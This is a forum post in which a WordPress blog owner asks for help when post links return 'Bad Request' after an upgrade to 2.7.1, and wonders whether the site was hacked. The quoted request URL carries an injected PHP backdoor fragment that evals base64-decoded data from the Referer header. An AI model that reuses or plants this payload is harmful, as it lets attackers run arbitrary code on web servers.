Have I been hacked ?? Problem persists despite upgrade to 2.7.1

My blog, Takethe5th suddenly is not allowing users to click on a entry in order to see the details or add comments. So I upgraded from 2.5x to 2.7.1. The upgrade appears to have gone successfully with one notable exceptions

But the problem persists. I use WordPress at several other sites – https://www.thephotofinishes.com and https://www.theopensourcery.com with no similar problem

Here is the error message
Bad Request
Your browser sent a request that this server could not understand.

Here is the request:
https://takethe5th.com/wp/2009/03/28/217/(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/
I have been adding SHARE-THIS and FEEDJIT to my right sidebar plus adding several video embeds (just take a look ).

I have tried removing both SHARE-THIS and FEEDJIT, to no avail.
I am using the Zen-Gray-10 theme and have had no problems with it before. Since as noted above I use WordPress of various versions(but primarily 2.7) – this is an unexpected problem.

My concern – have I been hacked ??? Or is this a simple problem.

Thanks for any help